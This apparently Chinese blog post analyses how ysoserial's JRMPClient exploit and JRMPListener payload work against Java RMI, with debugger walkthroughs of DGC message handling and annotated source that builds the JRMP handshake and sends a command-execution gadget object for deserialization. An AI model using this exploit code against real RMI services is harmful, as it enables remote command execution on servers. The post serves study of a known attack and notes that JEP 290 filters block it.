ysoserial exploit/JRMPClient原理剖析

0 前言

ysoserial中的exploit/JRMPClient是作为攻击方的代码,一般会结合payloads/JRMPLIstener使用,攻击流程就是:

1、先往存在漏洞的服务器发送payloads/JRMPLIstener,使服务器反序列化该payload后,会开启一个rmi服务并监听在设置的端口

2、然后攻击方在自己的服务器使用exploit/JRMPClient与存在漏洞的服务器进行通信,并且发送一个可命令执行的payload(假如存在漏洞的服务器中有使用org.apacje.commons.collections包,则可以发送CommonsCollections系列的payload),从而达到命令执行的结果。

下面就分别分析一下exploit/JRMPClient与payloads/JRMPLIstener

1 payloads/JRMPListener

1.1 payload生成

首先分析payloads/JRMPLIstener,这部分代码量很少,我给代码添加了注释以便理解:

public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {

    public UnicastRemoteObject getObject(final String command) throws Exception {
        //设置jrmp监听端口
        int jrmpPort = Integer.parseInt(command);
        //调用RemoteObject类的构造方法,new UnicastServerRef(jrmpPort)作为构造方法的参数,然后返回一个ActivationGroupImpl类型的对象
        UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[]{
            RemoteRef.class
        }, new Object[]{
            new UnicastServerRef(jrmpPort)
        });
        //通过反射设置uro对象中的port属性值为jrmpPort
        Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
        return uro;
    }

}

同时我也给Reflections.createWithConstructor方法添加了注释,如下:

public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
        throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
    //获取constructorClass类的构造方法,从泛型限定来看,constructorClass为classToInstantiate的父类
    Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
    setAccessible(objCons);
    //这里会根据constructorClass父类的构造方法新建一个构造方法,但使用该构造方法newInstance出的对象为constructorClass类型
    Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
    setAccessible(sc);
    //调用constructorClass父类的构造方法,将consArgs作为参数,返回constructorClass类型的对象
    return (T)sc.newInstance(consArgs);
}

通过以上代码的分析,最后知道了生成的payload对象为ActivationGroupImpl类型,并将其向上转型为其父类UnicastRemoteObject类型。明白该payload怎么生成后,就该分析它的gadget链了。

1.2 gadget链分析

下面是作者给出的整个调用链:

Gadget chain:
 * UnicastRemoteObject.readObject(ObjectInputStream) line: 235
 * UnicastRemoteObject.reexport() line: 266
 * UnicastRemoteObject.exportObject(Remote, int) line: 320
 * UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
 * UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
 * LiveRef.exportObject(Target) line: 147
 * TCPEndpoint.exportObject(Target) line: 411
 * TCPTransport.exportObject(Target) line: 249
 * TCPTransport.listen() line: 319

我们就根据上述链去分析相应的代码:

1、虽然生成的payload实际对象为ActivationGroupImpl类型,但其被向上转型为了UnicastRemoteObject类型,所以在反序列化时自然会先执行UnicastRemoteObjec的readObject方法,因此在该方法中下断点,如下:

2、跟入reexport()方法,可以看到执行到了如下位置:

3、继续跟进,这里就很熟悉了,在前一篇调试RMI时,后面的流程已经走完了:

4、最终到了TCPTransport类的exportObject(Target var1)方法,如下,即开启了监听,只不过其导出的对象为上述生成的payload本身而已:

到这里,就明白了如果服务端反序列化了该payload,即可开启rmi监听。

2 使用RMIRegistryExploit攻击上述开启的监听

 我想既然服务端开启了rmi监听,那客户端应该也是可以使用RMIRegistryExploit去攻击的,但是出现了如下错误:

1、因此还是用调试RMI时的思路,在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,客户端代码很简单:

 2、运行客户端代码,服务端即运行到了如下断点位置,可以看到var5值为116,而我们之前调试RMI时,var5的值为80,因此在下面的switch分支中就与正常RMI通信时出现了偏差。

可以看到下面进入了switch的default分支,然后抛出了异常,最终断开了与客户端的连接。

因此使用RMIRegistryExploit时无法攻击payloads/JRMPLIstener开启的rmi监听的。

3 exploit/JRMPClient

下面分析一下exploit/JRMPClient是如何与payloads/JRMPLIstener开启的rmi监听进行通信的。先看一下作者对这个exp的描述:

Generic JRMP client
 *
 * Pretty much the same thing as {@link RMIRegistryExploit} but
 * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener)
 * - not deserializing anything (so you don't get yourself exploited ;))

首先说的是这个exp是与RMIRegistryExploit类似的一种攻击方式,在前面第二章我们已经试过了 RMIRegistryExploit是无法成功攻击的。后面列举了两点:

1、攻击目标是远程DGC,也就是分布式垃圾收集,只要服务端有listener监听,就一定存在DGC。

2、不反序列化任何数据,意思就是客户端不会接受任何服务端发送的数据,这样就避免了被对方反过来进行攻击。

3.1 分布式垃圾收集(DGC)

这里就先简单了解一下分布式垃圾收集

在Java虚拟机中,对于一个本地对象,只要不被本地Java虚拟机中的任何变量引用,它就可以被垃圾回收器回收了。

而对于一个远程对象,不仅会被本地Java虚拟机中的变量引用还会被远程引用。如将远程对象注册到Rregistry时,Registry注册表就会持有它的远程引用。

RMI框架采用分布式垃圾收集机制(DGC,Distributed Garbage Collection)来管理远程对象的生命周期。DGC的主要规则是,只有当一个远程对象不受任何本地引用和远程引用,这个远程对象才会结束生命周期。

当客户端获得了一个服务器端的远程对象存根时,就会向服务器发送一条租约通知,告诉服务器自己持有这个远程对象的引用了。此租约有一个租约期限,租约期限可通过系统属性java.rmi.dgc.leaseValue来设置,以毫秒为单位,其默认值为600 000毫秒。如果租约到期后服务器端没有继续收到客户端新的租约通知,服务器端就会认为这个客户已经不再持有远程对象的引用。

因此可以通过与DGC通信的方式发送恶意payload让服务端进行反序列化,从而执行任意命令。

下面我们先动态调试一下DGC相关的通信流程,然后返过去去理解exploit/JRMPClient的代码效果更好:

1、借用之前分析RMI的经验,我仍然在TCPTransport类的handleMessages(Connection var1, boolean var2)方法中设置断点,然后用exploit/JRMPClient去打开启的监听端口,果然在该方法中的断点处停了下来,通过查看调用栈,如下:

我们先看一下handleMessages的上一级调用,即TCPTransport$ConnectionHandler.run0方法,可以看到读取了一个int数据:

 下图又读取了一个short数据,接着读取了一个byte数据,但显示的调试信息有错,因为var15应该为76:

 于是switch进入下面的case76,继而进入handleMessage方法中:

2、我们接着回到handleMessages方法中,看到读取了int数据80,于是进入了switch中的case80分支:

2、继续跟进,到了Transport类的serviceCall(final RemoteCall var1)方法:

(1)先进入ObjID.read()方法,可以看到先读取了一个long型数据:

 再进入UID.read方法,可以看到连续读取了int、long、short三个数据:

所以上面执行ObjID.read()方法的过程中就是通过读取数据最终生成一个ObjID对象,并且在下图中,会用该ObjID对象与dgcID作比较,dgcID如下:

                          

如上最终dgcID生成的结构就是[0:0:0, 2]。与上面执行ObjID.read()方法生成的ObjID值是一样的。

(2)接着往下看还不仍然是获取了Target对象,由于ObjID值与dgcID值相同,因此最终生成的Target对象是DGCImpl类型的,后面同样获取了Target的Dispatcher,然后使用它的dispatch方法进行分派。

3、同样的,在UnicastServerRef类中的dispatch(Remote var1, RemoteCall var2)方法中读取了一个int值,这里调试信息显示错误,应该是var3的值为1

 4、接着有读取了一个long值,如下,依然有错误,应该是var4的值:

5、 接着进入了DGCImpl_Skel类的dispatch(Remote var1, RemoteCall var2, int var3, long var4),

从前面知道var3值为1,因此进入switch的case1分支,这里就会对exploit/JRMPClient发送的恶意payload进行反序列化,从而执行其中包含的任意命令。

 到了这里,整个DGC调用的流程也走完了,同时发送的payload中包含的命令也执行了。

3.2 exploit/JRMPClient代码分析

经过上面的3.1节的调试,下面的代码就很容易理解了,并且我也对关键代码做了注释,如下:

1、先看JRMPClient类的main方法,主要的就如下添加注释的两行代码:

public static final void main ( final String[] args ) {
        if ( args.length < 4 ) {
            System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <payload_arg>");
            System.exit(-1);
        }
        //生成指定的命令执行的payload
        Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
        String hostname = args[ 0 ];
        int port = Integer.parseInt(args[ 1 ]);
        try {
            System.err.println(String.format("* Opening JRMP socket %s:%d", hostname, port));
            //通信方法
            makeDGCCall(hostname, port, payloadObject);
        }
        catch ( Exception e ) {
            e.printStackTrace(System.err);
        }
        Utils.releasePayload(args[2], payloadObject);
    }

2、下面就看主要的通信方法makeDGCCall了,其发送的通信数据在上面调试中均已发现其具体作用,我也进行了注释:

 public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
        InetSocketAddress isa = new InetSocketAddress(hostname, port);
        Socket s = null;
        DataOutputStream dos = null;
        try {
            //创建与使用payloads/JRMPLIstener开启监听的rmi服务的Socket通信
            s = SocketFactory.getDefault().createSocket(hostname, port);
            s.setKeepAlive(true);
            s.setTcpNoDelay(true);
            //获取Socket的输出流
            OutputStream os = s.getOutputStream();
            //将输出流包装成DataOutputStream流对象
            dos = new DataOutputStream(os);
            //下面发送了三组数据,是在服务端TCPTransport类的handleMessages方法调用前通信的数据
            dos.writeInt(TransportConstants.Magic); // 1246907721;
            dos.writeShort(TransportConstants.Version); // 2
            dos.writeByte(TransportConstants.SingleOpProtocol); // 76
            //在TCPTransport类的handleMessages方法中获取到了80
            dos.write(TransportConstants.Call); //80
            //下面依然是往服务器发送数据,但是经过了序列化处理
            @SuppressWarnings ( "resource" )
            final ObjectOutputStream objOut = new MarshalOutputStream(dos);
            //下面四组数据最终发到服务端是用来创建ObjID对象,并且值与dgcID[0:0:0, 2]相同
            objOut.writeLong(2); // DGC
            objOut.writeInt(0);
            objOut.writeLong(0);
            objOut.writeShort(0);
            //下面数据是在服务端每一个dispatch方法中获取的
            objOut.writeInt(1); // dirty
            objOut.writeLong(-669196253586618813L);
            //前面经过那么多数据的通信,到了这里就可以发送恶意payload了,服务端会对其进行反序列化处理。
            objOut.writeObject(payloadObject);

            os.flush();
        }
        finally {
            if ( dos != null ) {
                dos.close();
            }
            if ( s != null ) {
                s.close();
            }
        }
    }

4 总结

终于把ysoserial exploit/JRMPClient中的代码原理搞清楚了,有了前一篇分析RMI的经验,本次分析DGC也得心应手了许多。

1、exploit/JRMPClient与exploit/RMIRegistryExploit类似,可以攻击任何RMIServer,但exploit/JRMPClient是通过dgc通信进行攻击,而exploit/RMIRegistryExploit是通过bind方法绑定恶意payload进行攻击。

2、exploit/JRMPClient可以结合payloads/JRMPListener进行攻击,但exploit/RMIRegistryExploit不能结合payloads/JRMPListener进行攻击

3、JEP 290之后,对RMI注册表和分布式垃圾收集(DGC)新增了内置过滤器,以上攻击方式均失效了。

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值